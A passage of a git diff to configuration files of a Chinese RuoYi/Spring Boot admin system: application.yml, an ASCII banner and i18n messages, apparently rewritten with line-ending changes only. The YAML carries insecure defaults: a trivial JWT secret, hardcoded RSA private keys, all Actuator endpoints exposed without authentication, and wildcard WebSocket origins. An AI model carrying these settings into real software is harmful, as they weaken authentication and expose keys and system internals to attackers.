mvc: - # 设置静态资源路径 防止所有请求都去查静态资源 - static-path-pattern: /static/** - format: - date-time: yyyy-MM-dd HH:mm:ss - jackson: - # 日期格式化 - date-format: yyyy-MM-dd HH:mm:ss - serialization: - # 格式化输出 - indent_output: false - # 忽略无法转换的对象 - fail_on_empty_beans: false - deserialization: - # 允许对象忽略json中不存在的属性 - fail_on_unknown_properties: false - -# Sa-Token配置 -sa-token: - # token名称 (同时也是cookie名称) - token-name: Authorization - # 是否允许同一账号并发登录 (为true时允许一起登录, 为false时新登录挤掉旧登录) - is-concurrent: true - # 在多人登录同一账号时,是否共用一个token (为true时所有登录共用一个token, 为false时每次登录新建一个token) - is-share: false - # jwt秘钥 - jwt-secret-key: abcdefghijklmnopqrstuvwxyz - -# security配置 -security: - # 排除路径 - excludes: - - /*.html - - /**/*.html - - /**/*.css - - /**/*.js - - /favicon.ico - - /error - - /*/api-docs - - /*/api-docs/** - # actuator 监控配置 - - /actuator - - /actuator/** - - /banner - - /banner/** - - /prod/** - - /notifyCheckSign - - /system/dict/data/** - - /work/panorama/listByOrderId - - /wx/jssdk - - /api/user/** - - /api/home/** - -# 多租户配置 -tenant: - # 是否开启 - enable: false - # 排除表 - excludes: - - sys_menu - - sys_tenant - - sys_tenant_package - - sys_role_dept - - sys_role_menu - - sys_user_post - - sys_user_role - - sys_client - - sys_oss_config - -# MyBatisPlus配置 -# https://baomidou.com/config/ -mybatis-plus: - # 多包名使用 例如 org.dromara.**.mapper,org.xxx.**.mapper - mapperPackage: org.dromara.**.mapper - # 对应的 XML 文件位置 - mapperLocations: classpath*:mapper/**/*Mapper.xml - # 实体扫描,多个package用逗号或者分号分隔 - typeAliasesPackage: org.dromara.**.domain - global-config: - dbConfig: - # 主键类型 - # AUTO 自增 NONE 空 INPUT 用户输入 ASSIGN_ID 雪花 ASSIGN_UUID 唯一 UUID - # 如需改为自增 需要将数据库表全部设置为自增 - idType: AUTO - -# 数据加密 -mybatis-encryptor: - # 是否开启加密 - enable: false - # 默认加密算法 - algorithm: BASE64 - # 编码方式 BASE64/HEX。默认BASE64 - encode: BASE64 - # 安全秘钥 对称算法的秘钥 如:AES,SM4 - password: - # 公私钥 非对称算法的公私钥 如:SM2,RSA - publicKey: - privateKey: - -# api接口加密 -api-decrypt: - # 是否开启全局接口加密 - enabled: true - # AES 加密头标识 - headerFlag: encrypt-key - # 响应加密公钥 非对称算法的公私钥 如:SM2,RSA 使用者请自行更换 - # 对应前端解密私钥 MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAmc3CuPiGL/LcIIm7zryCEIbl1SPzBkr75E2VMtxegyZ1lYRD+7TZGAPkvIsBcaMs6Nsy0L78n2qh+lIZMpLH8wIDAQABAkEAk82Mhz0tlv6IVCyIcw/s3f0E+WLmtPFyR9/WtV3Y5aaejUkU60JpX4m5xNR2VaqOLTZAYjW8Wy0aXr3zYIhhQQIhAMfqR9oFdYw1J9SsNc+CrhugAvKTi0+BF6VoL6psWhvbAiEAxPPNTmrkmrXwdm/pQQu3UOQmc2vCZ5tiKpW10CgJi8kCIFGkL6utxw93Ncj4exE/gPLvKcT+1Emnoox+O9kRXss5AiAMtYLJDaLEzPrAWcZeeSgSIzbL+ecokmFKSDDcRske6QIgSMkHedwND1olF8vlKsJUGK3BcdtM8w4Xq7BpSBwsloE= - publicKey: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJnNwrj4hi/y3CCJu868ghCG5dUj8wZK++RNlTLcXoMmdZWEQ/u02RgD5LyLAXGjLOjbMtC+/J9qofpSGTKSx/MCAwEAAQ== - # 请求解密私钥 非对称算法的公私钥 如:SM2,RSA 使用者请自行更换 - # 对应前端加密公钥 MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKoR8mX0rGKLqzcWmOzbfj64K8ZIgOdHnzkXSOVOZbFu/TJhZ7rFAN+eaGkl3C4buccQd/EjEsj9ir7ijT7h96MCAwEAAQ== - privateKey: MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAqhHyZfSsYourNxaY7Nt+PrgrxkiA50efORdI5U5lsW79MmFnusUA355oaSXcLhu5xxB38SMSyP2KvuKNPuH3owIDAQABAkAfoiLyL+Z4lf4Myxk6xUDgLaWGximj20CUf+5BKKnlrK+Ed8gAkM0HqoTt2UZwA5E2MzS4EI2gjfQhz5X28uqxAiEA3wNFxfrCZlSZHb0gn2zDpWowcSxQAgiCstxGUoOqlW8CIQDDOerGKH5OmCJ4Z21v+F25WaHYPxCFMvwxpcw99EcvDQIgIdhDTIqD2jfYjPTY8Jj3EDGPbH2HHuffvflECt3Ek60CIQCFRlCkHpi7hthhYhovyloRYsM+IS9h/0BzlEAuO0ktMQIgSPT3aFAgJYwKpqRYKlLDVcflZFCKY7u3UP8iWi1Qw0Y= - -springdoc: - api-docs: - # 是否开启接口文档 - enabled: true -# swagger-ui: -# # 持久化认证数据 -# persistAuthorization: true - info: - # 标题 - title: '标题:${ruoyi.name}效果图业务系统_接口文档' - # 描述 - description: '描述:效果图业务系统接口文档' - # 版本 - version: '版本号: ${ruoyi.version}' - # 作者信息 - contact: - name: Maosw - email: 136767481@qq.com - components: - # 鉴权方式配置 - security-schemes: - apiKey: - type: APIKEY - in: HEADER - name: ${sa-token.token-name} - #这里定义了两个分组,可定义多个,也可以不定义 - group-configs: - - group: 1.通用模块 - packages-to-scan: org.dromara.web - - group: 2.系统模块 - packages-to-scan: org.dromara.system - - group: 3.业务模块 - packages-to-scan: org.dromara.work - - -# 防止XSS攻击 -xss: - # 过滤开关 - enabled: true - # 排除链接(多个用逗号分隔) - excludeUrls: - - /system/notice - - /workflow/model/save - - /workflow/model/editModelXml - - /work/prod - -# 全局线程池相关配置 -# 如使用JDK21请直接使用虚拟线程 不要开启此配置 -thread-pool: - # 是否开启线程池 - enabled: false - # 队列最大长度 - queueCapacity: 128 - # 线程池维护线程所允许的空闲时间 - keepAliveSeconds: 300 - ---- # 分布式锁 lock4j 全局配置 -lock4j: - # 获取分布式锁超时时间,默认为 3000 毫秒 - acquire-timeout: 3000 - # 分布式锁的超时时间,默认为 30 秒 - expire: 30000 - ---- # Actuator 监控端点的配置项 -management: - endpoints: - web: - exposure: - include: '*' - endpoint: - health: - show-details: ALWAYS - logfile: - external-file: ./logs/sys-console.log - ---- # 默认/推荐使用sse推送 -sse: - enabled: true - path: /resource/sse - ---- # websocket -websocket: - # 如果关闭 需要和前端开关一起关闭 - enabled: true - # 路径 - path: /resource/websocket - # 设置访问源地址 - allowedOrigins: '*' - ---- #flowable配置 -flowable: - # 开关 用于启动/停用工作流 - enabled: true - process.enabled: ${flowable.enabled} - eventregistry.enabled: ${flowable.enabled} - async-executor-activate: false #关闭定时任务JOB - # 将databaseSchemaUpdate设置为true。当Flowable发现库与数据库表结构不一致时,会自动将数据库表结构升级至新版本。 - database-schema-update: true - activity-font-name: 宋体 - label-font-name: 宋体 - annotation-font-name: 宋体 - # 关闭各个模块生成表,目前只使用工作流基础表 - idm: - enabled: false - cmmn: - enabled: false - dmn: - enabled: false - app: - enabled: false +# 项目相关配置 +ruoyi: + # 名称 + name: XGT-ADMIN + # 版本 + version: ${revision} + # 版权年份 + copyrightYear: 2024 + +captcha: + enable: true + # 页面 <参数设置> 可开启关闭 验证码校验 + # 验证码类型 math 数组计算 char 字符验证 + type: MATH + # line 线段干扰 circle 圆圈干扰 shear 扭曲干扰 + category: CIRCLE + # 数字验证码位数 + numberLength: 1 + # 字符验证码长度 + charLength: 4 + +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8088 + servlet: + # 应用的访问路径 + context-path: / + # undertow 配置 + undertow: + # HTTP post内容的最大大小。当值为-1时,默认值为大小是无限的 + max-http-post-size: -1 + # 以下的配置会影响buffer,这些buffer会用于服务器连接的IO操作,有点类似netty的池化内存管理 + # 每块buffer的空间大小,越小的空间被利用越充分 + buffer-size: 512 + # 是否分配的直接内存 + direct-buffers: true + threads: + # 设置IO线程数, 它主要执行非阻塞的任务,它们会负责多个连接, 默认设置每个CPU核心一个线程 + io: 8 + # 阻塞任务线程池, 当执行类似servlet请求阻塞操作, undertow会从这个线程池中取得线程,它的值设置取决于系统的负载 + worker: 256 + +# 日志配置 +logging: + level: + org.dromara: @logging.level@ + org.springframework: warn + org.mybatis.spring.mapper: error + org.apache.fury: warn + config: classpath:logback-plus.xml + +# 用户配置 +user: + password: + # 密码最大错误次数 + maxRetryCount: 5 + # 密码锁定时间(默认10分钟) + lockTime: 10 + +# Spring配置 +spring: + application: + name: ${ruoyi.name} + threads: + # 开启虚拟线程 仅jdk21可用 + virtual: + enabled: false + # 资源信息 + messages: + # 国际化资源文件路径 + basename: i18n/messages + profiles: + active: @profiles.active@ + # 文件上传 + servlet: + multipart: + # 单个文件大小 + max-file-size: 10MB + # 设置总上传的文件大小 + max-request-size: 20MB + mvc: + # 设置静态资源路径 防止所有请求都去查静态资源 + static-path-pattern: /static/** + format: + date-time: yyyy-MM-dd HH:mm:ss + jackson: + # 日期格式化 + date-format: yyyy-MM-dd HH:mm:ss + serialization: + # 格式化输出 + indent_output: false + # 忽略无法转换的对象 + fail_on_empty_beans: false + deserialization: + # 允许对象忽略json中不存在的属性 + fail_on_unknown_properties: false + +# Sa-Token配置 +sa-token: + # token名称 (同时也是cookie名称) + token-name: Authorization + # 是否允许同一账号并发登录 (为true时允许一起登录, 为false时新登录挤掉旧登录) + is-concurrent: true + # 在多人登录同一账号时,是否共用一个token (为true时所有登录共用一个token, 为false时每次登录新建一个token) + is-share: false + # jwt秘钥 + jwt-secret-key: abcdefghijklmnopqrstuvwxyz + +# security配置 +security: + # 排除路径 + excludes: + - /*.html + - /**/*.html + - /**/*.css + - /**/*.js + - /favicon.ico + - /error + - /*/api-docs + - /*/api-docs/** + # actuator 监控配置 + - /actuator + - /actuator/** + - /banner + - /banner/** + - /prod/** + - /notifyCheckSign + - /system/dict/data/** + - /work/panorama/listByOrderId + - /wx/jssdk + - /api/user/** + - /api/home/** + +# 多租户配置 +tenant: + # 是否开启 + enable: false + # 排除表 + excludes: + - sys_menu + - sys_tenant + - sys_tenant_package + - sys_role_dept + - sys_role_menu + - sys_user_post + - sys_user_role + - sys_client + - sys_oss_config + +# MyBatisPlus配置 +# https://baomidou.com/config/ +mybatis-plus: + # 多包名使用 例如 org.dromara.**.mapper,org.xxx.**.mapper + mapperPackage: org.dromara.**.mapper + # 对应的 XML 文件位置 + mapperLocations: classpath*:mapper/**/*Mapper.xml + # 实体扫描,多个package用逗号或者分号分隔 + typeAliasesPackage: org.dromara.**.domain + global-config: + dbConfig: + # 主键类型 + # AUTO 自增 NONE 空 INPUT 用户输入 ASSIGN_ID 雪花 ASSIGN_UUID 唯一 UUID + # 如需改为自增 需要将数据库表全部设置为自增 + idType: AUTO + +# 数据加密 +mybatis-encryptor: + # 是否开启加密 + enable: false + # 默认加密算法 + algorithm: BASE64 + # 编码方式 BASE64/HEX。默认BASE64 + encode: BASE64 + # 安全秘钥 对称算法的秘钥 如:AES,SM4 + password: + # 公私钥 非对称算法的公私钥 如:SM2,RSA + publicKey: + privateKey: + +# api接口加密 +api-decrypt: + # 是否开启全局接口加密 + enabled: true + # AES 加密头标识 + headerFlag: encrypt-key + # 响应加密公钥 非对称算法的公私钥 如:SM2,RSA 使用者请自行更换 + # 对应前端解密私钥 MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAmc3CuPiGL/LcIIm7zryCEIbl1SPzBkr75E2VMtxegyZ1lYRD+7TZGAPkvIsBcaMs6Nsy0L78n2qh+lIZMpLH8wIDAQABAkEAk82Mhz0tlv6IVCyIcw/s3f0E+WLmtPFyR9/WtV3Y5aaejUkU60JpX4m5xNR2VaqOLTZAYjW8Wy0aXr3zYIhhQQIhAMfqR9oFdYw1J9SsNc+CrhugAvKTi0+BF6VoL6psWhvbAiEAxPPNTmrkmrXwdm/pQQu3UOQmc2vCZ5tiKpW10CgJi8kCIFGkL6utxw93Ncj4exE/gPLvKcT+1Emnoox+O9kRXss5AiAMtYLJDaLEzPrAWcZeeSgSIzbL+ecokmFKSDDcRske6QIgSMkHedwND1olF8vlKsJUGK3BcdtM8w4Xq7BpSBwsloE= + publicKey: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJnNwrj4hi/y3CCJu868ghCG5dUj8wZK++RNlTLcXoMmdZWEQ/u02RgD5LyLAXGjLOjbMtC+/J9qofpSGTKSx/MCAwEAAQ== + # 请求解密私钥 非对称算法的公私钥 如:SM2,RSA 使用者请自行更换 + # 对应前端加密公钥 MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKoR8mX0rGKLqzcWmOzbfj64K8ZIgOdHnzkXSOVOZbFu/TJhZ7rFAN+eaGkl3C4buccQd/EjEsj9ir7ijT7h96MCAwEAAQ== + privateKey: MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAqhHyZfSsYourNxaY7Nt+PrgrxkiA50efORdI5U5lsW79MmFnusUA355oaSXcLhu5xxB38SMSyP2KvuKNPuH3owIDAQABAkAfoiLyL+Z4lf4Myxk6xUDgLaWGximj20CUf+5BKKnlrK+Ed8gAkM0HqoTt2UZwA5E2MzS4EI2gjfQhz5X28uqxAiEA3wNFxfrCZlSZHb0gn2zDpWowcSxQAgiCstxGUoOqlW8CIQDDOerGKH5OmCJ4Z21v+F25WaHYPxCFMvwxpcw99EcvDQIgIdhDTIqD2jfYjPTY8Jj3EDGPbH2HHuffvflECt3Ek60CIQCFRlCkHpi7hthhYhovyloRYsM+IS9h/0BzlEAuO0ktMQIgSPT3aFAgJYwKpqRYKlLDVcflZFCKY7u3UP8iWi1Qw0Y= + +springdoc: + api-docs: + # 是否开启接口文档 + enabled: true +# swagger-ui: +# # 持久化认证数据 +# persistAuthorization: true + info: + # 标题 + title: '标题:${ruoyi.name}效果图业务系统_接口文档' + # 描述 + description: '描述:效果图业务系统接口文档' + # 版本 + version: '版本号: ${ruoyi.version}' + # 作者信息 + contact: + name: Maosw + email: 136767481@qq.com + components: + # 鉴权方式配置 + security-schemes: + apiKey: + type: APIKEY + in: HEADER + name: ${sa-token.token-name} + #这里定义了两个分组,可定义多个,也可以不定义 + group-configs: + - group: 1.通用模块 + packages-to-scan: org.dromara.web + - group: 2.系统模块 + packages-to-scan: org.dromara.system + - group: 3.业务模块 + packages-to-scan: org.dromara.work + + +# 防止XSS攻击 +xss: + # 过滤开关 + enabled: true + # 排除链接(多个用逗号分隔) + excludeUrls: + - /system/notice + - /workflow/model/save + - /workflow/model/editModelXml + - /work/prod + +# 全局线程池相关配置 +# 如使用JDK21请直接使用虚拟线程 不要开启此配置 +thread-pool: + # 是否开启线程池 + enabled: false + # 队列最大长度 + queueCapacity: 128 + # 线程池维护线程所允许的空闲时间 + keepAliveSeconds: 300 + +--- # 分布式锁 lock4j 全局配置 +lock4j: + # 获取分布式锁超时时间,默认为 3000 毫秒 + acquire-timeout: 3000 + # 分布式锁的超时时间,默认为 30 秒 + expire: 30000 + +--- # Actuator 监控端点的配置项 +management: + endpoints: + web: + exposure: + include: '*' + endpoint: + health: + show-details: ALWAYS + logfile: + external-file: ./logs/sys-console.log + +--- # 默认/推荐使用sse推送 +sse: + enabled: true + path: /resource/sse + +--- # websocket +websocket: + # 如果关闭 需要和前端开关一起关闭 + enabled: true + # 路径 + path: /resource/websocket + # 设置访问源地址 + allowedOrigins: '*' + +--- #flowable配置 +flowable: + # 开关 用于启动/停用工作流 + enabled: true + process.enabled: ${flowable.enabled} + eventregistry.enabled: ${flowable.enabled} + async-executor-activate: false #关闭定时任务JOB + # 将databaseSchemaUpdate设置为true。当Flowable发现库与数据库表结构不一致时,会自动将数据库表结构升级至新版本。 + database-schema-update: true + activity-font-name: 宋体 + label-font-name: 宋体 + annotation-font-name: 宋体 + # 关闭各个模块生成表,目前只使用工作流基础表 + idm: + enabled: false + cmmn: + enabled: false + dmn: + enabled: false + app: + enabled: false diff --git a/ruoyi-admin/src/main/resources/banner.txt b/ruoyi-admin/src/main/resources/banner.txt index 21b1126..e4ba765 100644 --- a/ruoyi-admin/src/main/resources/banner.txt +++ b/ruoyi-admin/src/main/resources/banner.txt @@ -1,8 +1,8 @@ -Application Version: ${revision} -Spring Boot Version: ${spring-boot.version} -__________ _____.___.__ ____ ____ __________.__ -\______ \__ __ ____\__ | |__| \ \ / /_ __ ____ \______ \ | __ __ ______ - | _/ | \/ _ \/ | | | ______ \ Y / | \_/ __ \ ______ | ___/ | | | \/ ___/ - | | \ | ( <_> )____ | | /_____/ \ /| | /\ ___/ /_____/ | | | |_| | /\___ \ - |____|_ /____/ \____// ______|__| \___/ |____/ \___ > |____| |____/____//____ > - \/ \/ \/ \/ +Application Version: ${revision} +Spring Boot Version: ${spring-boot.version} +__________ _____.___.__ ____ ____ __________.__ +\______ \__ __ ____\__ | |__| \ \ / /_ __ ____ \______ \ | __ __ ______ + | _/ | \/ _ \/ | | | ______ \ Y / | \_/ __ \ ______ | ___/ | | | \/ ___/ + | | \ | ( <_> )____ | | /_____/ \ /| | /\ ___/ /_____/ | | | |_| | /\___ \ + |____|_ /____/ \____// ______|__| \___/ |____/ \___ > |____| |____/____//____ > + \/ \/ \/ \/ diff --git a/ruoyi-admin/src/main/resources/i18n/messages.properties b/ruoyi-admin/src/main/resources/i18n/messages.properties index a4b8e0a..9f9a593 100644 --- a/ruoyi-admin/src/main/resources/i18n/messages.properties +++ b/ruoyi-admin/src/main/resources/i18n/messages.properties @@ -1,61 +1,61 @@ -#\u9519\u8BEF\u6D88\u606F -not.null=* \u5FC5\u987B\u586B\u5199 -user.jcaptcha.error=\u9A8C\u8BC1\u7801\u9519\u8BEF -user.jcaptcha.expire=\u9A8C\u8BC1\u7801\u5DF2\u5931\u6548 -user.not.exists=\u5BF9\u4E0D\u8D77, \u60A8\u7684\u8D26\u53F7\uFF1A{0} \u4E0D\u5B58\u5728. -user.password.not.match=\u7528\u6237\u4E0D\u5B58\u5728/\u5BC6\u7801\u9519\u8BEF -user.password.retry.limit.count=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 -user.password.retry.limit.exceed=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F -user.password.delete=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\uFF1A{0} \u5DF2\u88AB\u5220\u9664 -user.blocked=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\uFF1A{0} \u5DF2\u7981\u7528\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 -role.blocked=\u89D2\u8272\u5DF2\u5C01\u7981\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 -user.logout.success=\u9000\u51FA\u6210\u529F -length.not.valid=\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 -user.username.not.blank=\u7528\u6237\u540D\u4E0D\u80FD\u4E3A\u7A7A -user.username.not.valid=* 2\u523020\u4E2A\u6C49\u5B57\u3001\u5B57\u6BCD\u3001\u6570\u5B57\u6216\u4E0B\u5212\u7EBF\u7EC4\u6210\uFF0C\u4E14\u5FC5\u987B\u4EE5\u975E\u6570\u5B57\u5F00\u5934 -user.username.length.valid=\u8D26\u6237\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 -user.password.not.blank=\u7528\u6237\u5BC6\u7801\u4E0D\u80FD\u4E3A\u7A7A -user.password.length.valid=\u7528\u6237\u5BC6\u7801\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 -user.password.not.valid=* 5-50\u4E2A\u5B57\u7B26 -user.email.not.valid=\u90AE\u7BB1\u683C\u5F0F\u9519\u8BEF -user.email.not.blank=\u90AE\u7BB1\u4E0D\u80FD\u4E3A\u7A7A -user.phonenumber.not.blank=\u7528\u6237\u624B\u673A\u53F7\u4E0D\u80FD\u4E3A\u7A7A -user.mobile.phone.number.not.valid=\u624B\u673A\u53F7\u683C\u5F0F\u9519\u8BEF -user.login.success=\u767B\u5F55\u6210\u529F -user.register.success=\u6CE8\u518C\u6210\u529F -user.register.save.error=\u4FDD\u5B58\u7528\u6237 {0} \u5931\u8D25\uFF0C\u6CE8\u518C\u8D26\u53F7\u5DF2\u5B58\u5728 -user.register.error=\u6CE8\u518C\u5931\u8D25\uFF0C\u8BF7\u8054\u7CFB\u7CFB\u7EDF\u7BA1\u7406\u4EBA\u5458 -user.notfound=\u8BF7\u91CD\u65B0\u767B\u5F55 -user.forcelogout=\u7BA1\u7406\u5458\u5F3A\u5236\u9000\u51FA\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 -user.unknown.error=\u672A\u77E5\u9519\u8BEF\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 -auth.grant.type.error=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u9519\u8BEF -auth.grant.type.blocked=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u5DF2\u7981\u7528 -auth.grant.type.not.blank=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u4E0D\u80FD\u4E3A\u7A7A -auth.clientid.not.blank=\u8BA4\u8BC1\u5BA2\u6237\u7AEFid\u4E0D\u80FD\u4E3A\u7A7A -##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F -upload.exceed.maxSize=\u4E0A\u4F20\u7684\u6587\u4EF6\u5927\u5C0F\u8D85\u51FA\u9650\u5236\u7684\u6587\u4EF6\u5927\u5C0F\uFF01
\u5141\u8BB8\u7684\u6587\u4EF6\u6700\u5927\u5927\u5C0F\u662F\uFF1A{0}MB\uFF01 -upload.filename.exceed.length=\u4E0A\u4F20\u7684\u6587\u4EF6\u540D\u6700\u957F{0}\u4E2A\u5B57\u7B26 -##\u6743\u9650 -no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] -no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] -no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] -no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] -no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] -no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] -repeat.submit.message=\u4E0D\u5141\u8BB8\u91CD\u590D\u63D0\u4EA4\uFF0C\u8BF7\u7A0D\u5019\u518D\u8BD5 -rate.limiter.message=\u8BBF\u95EE\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF7\u7A0D\u5019\u518D\u8BD5 -sms.code.not.blank=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u4E0D\u80FD\u4E3A\u7A7A -sms.code.retry.limit.count=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 -sms.code.retry.limit.exceed=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F -email.code.not.blank=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u4E0D\u80FD\u4E3A\u7A7A -email.code.retry.limit.count=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 -email.code.retry.limit.exceed=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F -xcx.code.not.blank=\u5C0F\u7A0B\u5E8F[code]\u4E0D\u80FD\u4E3A\u7A7A -social.source.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[source]\u4E0D\u80FD\u4E3A\u7A7A -social.code.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[code]\u4E0D\u80FD\u4E3A\u7A7A -social.state.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[state]\u4E0D\u80FD\u4E3A\u7A7A -##\u79DF\u6237 -tenant.number.not.blank=\u79DF\u6237\u7F16\u53F7\u4E0D\u80FD\u4E3A\u7A7A -tenant.not.exists=\u5BF9\u4E0D\u8D77, \u60A8\u7684\u79DF\u6237\u4E0D\u5B58\u5728\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 -tenant.blocked=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u79DF\u6237\u5DF2\u7981\u7528\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 -tenant.expired=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u79DF\u6237\u5DF2\u8FC7\u671F\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +#\u9519\u8BEF\u6D88\u606F +not.null=* \u5FC5\u987B\u586B\u5199 +user.jcaptcha.error=\u9A8C\u8BC1\u7801\u9519\u8BEF +user.jcaptcha.expire=\u9A8C\u8BC1\u7801\u5DF2\u5931\u6548 +user.not.exists=\u5BF9\u4E0D\u8D77, \u60A8\u7684\u8D26\u53F7\uFF1A{0} \u4E0D\u5B58\u5728. +user.password.not.match=\u7528\u6237\u4E0D\u5B58\u5728/\u5BC6\u7801\u9519\u8BEF +user.password.retry.limit.count=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 +user.password.retry.limit.exceed=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F +user.password.delete=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\uFF1A{0} \u5DF2\u88AB\u5220\u9664 +user.blocked=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\uFF1A{0} \u5DF2\u7981\u7528\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +role.blocked=\u89D2\u8272\u5DF2\u5C01\u7981\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +user.logout.success=\u9000\u51FA\u6210\u529F +length.not.valid=\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 +user.username.not.blank=\u7528\u6237\u540D\u4E0D\u80FD\u4E3A\u7A7A +user.username.not.valid=* 2\u523020\u4E2A\u6C49\u5B57\u3001\u5B57\u6BCD\u3001\u6570\u5B57\u6216\u4E0B\u5212\u7EBF\u7EC4\u6210\uFF0C\u4E14\u5FC5\u987B\u4EE5\u975E\u6570\u5B57\u5F00\u5934 +user.username.length.valid=\u8D26\u6237\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 +user.password.not.blank=\u7528\u6237\u5BC6\u7801\u4E0D\u80FD\u4E3A\u7A7A +user.password.length.valid=\u7528\u6237\u5BC6\u7801\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 +user.password.not.valid=* 5-50\u4E2A\u5B57\u7B26 +user.email.not.valid=\u90AE\u7BB1\u683C\u5F0F\u9519\u8BEF +user.email.not.blank=\u90AE\u7BB1\u4E0D\u80FD\u4E3A\u7A7A +user.phonenumber.not.blank=\u7528\u6237\u624B\u673A\u53F7\u4E0D\u80FD\u4E3A\u7A7A +user.mobile.phone.number.not.valid=\u624B\u673A\u53F7\u683C\u5F0F\u9519\u8BEF +user.login.success=\u767B\u5F55\u6210\u529F +user.register.success=\u6CE8\u518C\u6210\u529F +user.register.save.error=\u4FDD\u5B58\u7528\u6237 {0} \u5931\u8D25\uFF0C\u6CE8\u518C\u8D26\u53F7\u5DF2\u5B58\u5728 +user.register.error=\u6CE8\u518C\u5931\u8D25\uFF0C\u8BF7\u8054\u7CFB\u7CFB\u7EDF\u7BA1\u7406\u4EBA\u5458 +user.notfound=\u8BF7\u91CD\u65B0\u767B\u5F55 +user.forcelogout=\u7BA1\u7406\u5458\u5F3A\u5236\u9000\u51FA\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 +user.unknown.error=\u672A\u77E5\u9519\u8BEF\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 +auth.grant.type.error=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u9519\u8BEF +auth.grant.type.blocked=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u5DF2\u7981\u7528 